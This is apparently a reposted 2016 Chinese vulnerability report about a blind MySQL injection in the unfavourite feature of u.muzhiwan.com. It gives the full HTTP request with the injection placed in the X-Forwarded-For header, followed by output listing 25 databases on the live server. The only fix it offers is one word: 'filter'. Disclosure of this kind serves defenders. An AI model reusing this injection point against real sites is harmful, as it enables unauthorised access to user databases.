记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

拇指玩取消收藏处存在MySQL盲注(千万数据再现江湖)

2016-02-20 11:25

(づ ̄ 3 ̄)づ

主站登录后收藏一个游戏
 

123_meitu_1.jpg



然后在取消收藏处存在注入
 

123_meitu_2.jpg


 


GET /index.php?action=profile&opt=delFavor&id=1516196 HTTP/1.1
Host: u.muzhiwan.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: */*
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://u.muzhiwan.com/index.php?action=profile&opt=favor
Cookie:
X-Forwarded-For: 127.0.0.1'
Connection: keep-alive

  

u.muzhiwan.com.png


 


available databases [25]:
[*] anquanxia
[*] applanet_user
[*] bug
[*] googleinstall
[*] googlemarket
[*] googlemarketgame
[*] information_schema
[*] muzhiwan
[*] muzhiwan130409
[*] muzhiwan130417
[*] muzhiwanbbs
[*] muzhiwanbbstest
[*] muzhiwantest
[*] mysql
[*] mzw
[*] mzw_new_gz
[*] mzw_oa
[*] mzwtest
[*] redmine
[*] sdk
[*] stat
[*] stat_sdk
[*] test
[*] testlink
[*] wikidatabase


 

111.png

 

解决方案:

过滤

知识来源: www.2cto.com/Article/201602/490161.html

阅读:126827 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“拇指玩取消收藏处存在MySQL盲注(千万数据再现江湖)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云